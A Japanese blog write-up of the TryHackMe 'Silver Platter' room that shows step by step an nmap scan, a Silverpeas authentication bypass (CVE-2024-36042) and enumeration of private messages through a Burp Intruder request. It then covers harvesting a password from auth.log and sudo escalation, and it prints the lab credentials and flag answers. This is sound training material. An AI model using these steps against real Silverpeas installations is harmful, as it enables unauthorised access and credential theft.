2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Writeup : TryHackMe - Silver Platter

Last updated at Posted at 2025-01-18

ルームについて

TryHackMe - Silver Platter:

userフラグとrootフラグの入手が今回の目標。
パスワードはrockyou.txtに存在しないものを使用しているらしい。確かに攻撃には強化されていそうだが、今回も攻略していこう。

今回の環境

IPアドレスは以下の通り。

ターゲット: 10.10.61.192
ローカル(VPN): 10.9.1.210

ローカルの環境にはKali 2024.4を使用し、作業ディレクトリは~/thm/Silver-Platterとする。

Recon(偵察)

ポートスキャンを実行する。

┌──(kali㉿kali)-[~/thm/Silver-Platter]
└─$ nmap --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.61.192
(中略)
┌──(kali㉿kali)-[~/thm/Silver-Platter]
└─$ cat nmap-1.txt                                   
# Nmap 7.95 scan initiated Sat Jan 18 20:08:28 2025 as: /usr/lib/nmap/nmap --privileged --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.61.192
Nmap scan report for 10.10.61.192
Host is up, received user-set (0.24s latency).
Scanned at 2025-01-18 20:08:28 JST for 97s
Not shown: 920 closed tcp ports (reset), 77 filtered tcp ports (no-response)
PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http       syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
8080/tcp open  http-proxy syn-ack ttl 62
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.95%I=7%D=1/18%Time=678B8BB7%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,C9,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConnection:\x20close\r
SF:\nContent-Length:\x2074\r\nContent-Type:\x20text/html\r\nDate:\x20Sat,\
SF:x2018\x20Jan\x202025\x2011:08:38\x20GMT\r\n\r\n<html><head><title>Error
SF:</title></head><body>404\x20-\x20Not\x20Found</body></html>")%r(HTTPOpt
SF:ions,C9,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConnection:\x20close\r\nCo
SF:ntent-Length:\x2074\r\nContent-Type:\x20text/html\r\nDate:\x20Sat,\x201
SF:8\x20Jan\x202025\x2011:08:39\x20GMT\r\n\r\n<html><head><title>Error</ti
SF:tle></head><body>404\x20-\x20Not\x20Found</body></html>")%r(RTSPRequest
SF:,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConn
SF:ection:\x20close\r\n\r\n")%r(FourOhFourRequest,C9,"HTTP/1\.1\x20404\x20
SF:Not\x20Found\r\nConnection:\x20close\r\nContent-Length:\x2074\r\nConten
SF:t-Type:\x20text/html\r\nDate:\x20Sat,\x2018\x20Jan\x202025\x2011:08:40\
SF:x20GMT\r\n\r\n<html><head><title>Error</title></head><body>404\x20-\x20
SF:Not\x20Found</body></html>")%r(Socks5,42,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(Gener
SF:icLines,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\
SF:r\nConnection:\x20close\r\n\r\n")%r(Help,42,"HTTP/1\.1\x20400\x20Bad\x2
SF:0Request\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(SS
SF:LSessionReq,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x
SF:200\r\nConnection:\x20close\r\n\r\n")%r(TerminalServerCookie,42,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20
SF:close\r\n\r\n")%r(TLSSessionReq,42,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(Kerberos,42
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(SMBProgNeg,42,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(LPDStr
SF:ing,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nC
SF:onnection:\x20close\r\n\r\n")%r(LDAPSearchReq,42,"HTTP/1\.1\x20400\x20B
SF:ad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 18 20:10:05 2025 -- 1 IP address (1 host up) scanned in 96.97 seconds

8080ポートだけバージョンが不明と出ているが、とにかく稼働状況を出すことができた。

Port Service Version
22 ssh OpenSSH 8.9p1
80 http nginx 1.18.0
8080 http-proxy ?

sshからパスワードクラックで出すことはタスクの説明欄を見る限り厳しそう。Webサーバーから偵察してみよう。
web-home.png
「HACK SMARTER SECURITY」という架空のセキュリティ企業のホームページだろうか。
少し探索していくと、/#contactにとある情報がある。
Silverpeasがインストールされていて、ユーザー名がscr1ptkiddyらしい。

ここを見ると、デフォルトのリンクが:8080/silverpeasだとわかるので、早速アクセスしてみる。
web-silverpeas-login.png
ログイン画面が表示された。今のところユーザー名しか持っていないうえ、パスワードも前述の通りクラックは厳しいため別の手法を探してみる。
google-silverpeas-login.png
silverpeas loginで探していると、ある脆弱性(CVE-2024-36042)が検索結果に出てきた。

どうやらログイン時のPOSTリクエストからパスワードフィールドを削除すると、管理者であるSilverAdminユーザーにログインできるそうだ。
(google-silverpeas-access-exploit)
また、さらに探ってみると、こんな脆弱性も見つかった。

管理者権限を持っていれば、他のユーザー間で送信されるメッセージを全て読み取ることができるというものだ。

ログイン画面にあるコピーライトの西暦から、ターゲットで動いているのはV6.3だと推測できる。
これらの脆弱性はV6.3.1以下で実行できるため、有用である可能性が高い。早速やってみよう。

GainAccess(侵入)

まずはCVE-2024-36042から。
Burp SuiteでSilverpeasのログイン画面を開き、Login欄をscr1ptkiddyに、Password欄を適当に(今回はtest)入力して、Burp Suiteに戻ってInterceptをオンにしておいてから、ログインでPOSTリクエストを送信する。

POST /silverpeas/AuthenticationServlet HTTP/1.1
Host: 10.10.61.192:8080
Content-Length: 42
Cache-Control: max-age=0
Accept-Language: ja
Origin: http://10.10.61.192:8080
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.61.192:8080/silverpeas/defaultLogin.jsp
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=FBxR7w1f2mUU3dzlkZx3jzI1a49JTVF2MsjD4ocD.ebabc79c6d2a
Connection: keep-alive

Login=scr1ptkiddy&Password=test&DomainId=0

リクエストはこのようになっているが、このうち最後のPassword=testという部分を削除してInterceptをオフにすると、見事SilverAdminにアクセスすることができた。
web-silverpeas-silveradmin-main.png
しかしこれで終わりではない。もう一つの脆弱性も使っていこう。

次もBurp Suiteを活用していく。:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=1にアクセスし、そのときのGETリクエストをIntruderに送る。
GET /silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=1 HTTP/1.1ID=11の部分にペイロードを設定し、Payloadsの設定を以下のように変更する。

項目 変更後
Payload type Numbers
From 1
To 10 (任意だが今回は少なめに設定)

そうしたら、Start attackで開始。
レスポンスをRenderで順に確認していく。

すると、ID=6でとあるメッセージが見つかった。
burp-id-6.png

Dude how do you always forget the SSH password? Use a password manager and quit using your silly sticky notes.

Username: tim

Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

ついにSSHのユーザー名とパスワードが入手できた。早速ログインしていく。

ターミナルに戻って、SSH接続する。

┌──(kali㉿kali)-[~/thm/Silver-Platter]
└─$ ssh tim@10.10.61.192       
The authenticity of host '10.10.61.192 (10.10.61.192)' can't be established.
ED25519 key fingerprint is SHA256:WFcHcO+oxUb2E/NaonaHAgqSK3bp9FP8hsg5z2pkhuE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? <yesと入力>
Warning: Permanently added '10.10.61.192' (ED25519) to the list of known hosts.
tim@10.10.61.192's password: <timのパスワード(cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol)を入力>
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-91-generic x86_64)
(中略)
tim@silver-platter:~$

timとしてログインできた。このままuserフラグがないか探してみると、最初のディレクトリにuser.txtというフラグファイルが存在し、フラグを入手することができた。

tim@silver-platter:~$ ls
user.txt
tim@silver-platter:~$ cat user.txt
THM{c4ca4238a0b923820dcc509a6f75849b}

PrivEsc(権限昇格)

最後に、権限昇格してrootフラグを入手する。

timについてと他のユーザーを調べてみよう。

tim@silver-platter:~$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)
tim@silver-platter:~$ sudo -l
[sudo] password for tim: <timのパスワード(cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol)を入力>
Sorry, user tim may not run sudo on silver-platter.
tim@silver-platter:~$ ls -l /home
total 8
dr-xr-xr-x 2 root  root  4096 Dec 13  2023 tim
drwxr-x--- 5 tyler tyler 4096 Dec 13  2023 tyler

どうやらtimadmグループに所属し、sudoなどは何もできないらしい。また、他にtylerというユーザーが存在することもわかった。
admグループに所属しているということは、/var/logディレクトリにアクセスできる。つまり、SSHのlogを見てパスワードを盗み出せるのだ。

tim@silver-platter:~$ cat /var/log/auth.log | grep "tyler"
tim@silver-platter:~$ cat /var/log/auth.log.1 | grep "tyler"
May  8 08:58:40 silver-platter sshd[1710]: Accepted password for tyler from 192.168.1.20 port 42258 ssh2
May  8 08:58:40 silver-platter sshd[1710]: pam_unix(sshd:session): session opened for user tyler(uid=1000) by (uid=0)
May  8 08:58:40 silver-platter systemd-logind[711]: New session 2 of user tyler.
May  8 08:58:40 silver-platter systemd: pam_unix(systemd-user:session): session opened for user tyler(uid=1000) by (uid=0)
May  8 08:58:44 silver-platter sudo:    tyler : TTY=pts/0 ; PWD=/home/tyler ; USER=root ; COMMAND=/usr/bin/su
May  8 08:58:44 silver-platter sudo: pam_unix(sudo:session): session opened for user root(uid=0) by tyler(uid=1000)
May  8 08:58:44 silver-platter su: pam_unix(su:session): session opened for user root(uid=0) by tyler(uid=0)
May  8 14:00:53 silver-platter sshd[1946]: Accepted password for tyler from 192.168.1.20 port 55742 ssh2
May  8 14:00:53 silver-platter sshd[1946]: pam_unix(sshd:session): session opened for user tyler(uid=1000) by (uid=0)
May  8 14:00:53 silver-platter systemd-logind[709]: New session 2 of user tyler.
May  8 14:00:53 silver-platter systemd: pam_unix(systemd-user:session): session opened for user tyler(uid=1000) by (uid=0)
May  8 14:01:11 silver-platter sudo:    tyler : TTY=pts/0 ; PWD=/var/log ; USER=root ; COMMAND=/usr/bin/su
May  8 14:01:11 silver-platter sudo: pam_unix(sudo:session): session opened for user root(uid=0) by tyler(uid=1000)
May  8 14:01:11 silver-platter su: pam_unix(su:session): session opened for user root(uid=0) by tyler(uid=0)
tim@silver-platter:~$ cat /var/log/auth.log.2 | grep "tyler"
(中略)
Dec 13 15:40:33 silver-platter sudo:    tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name postgresql -d -e POSTGRES_PASSWORD=_Zd_zx7N823/ -v postgresql-data:/var/lib/postgresql/data postgres:12.3
(略)

tylerのパスワードが_Zd_zx7N823/だということがわかった。早速アカウントを切り替えていこう。

tim@silver-platter:~$ su tyler
Password: <tylerのパスワード(_Zd_zx7N823/)を入力>
tyler@silver-platter:/home/tim$

あとは設定の不備からrootへの手掛かりを探していく。

tyler@silver-platter:/home/tim$ sudo -l
[sudo] password for tyler: 
Matching Defaults entries for tyler on silver-platter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tyler may run the following commands on silver-platter:
    (ALL : ALL) ALL

どうやらtylerはsudoが全てにおいて使えるようだ。これなら簡単にrootまで権限を上げることができる。

tyler@silver-platter:/home/tim$ sudo su -
root@silver-platter:~# id
uid=0(root) gid=0(root) groups=0(root)

はい、勝ちです。ここまでお疲れさまでした。

root@silver-platter:~# ls
root.txt  snap  start_docker_containers.sh
root@silver-platter:~# cat root.txt
THM{098f6bcd4621d373cade4e832627b4f6}

解答

Q1. What is the user flag?
A1. THM{c4ca4238a0b923820dcc509a6f75849b}

Q2. What is the root flag?
A2. THM{098f6bcd4621d373cade4e832627b4f6}

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?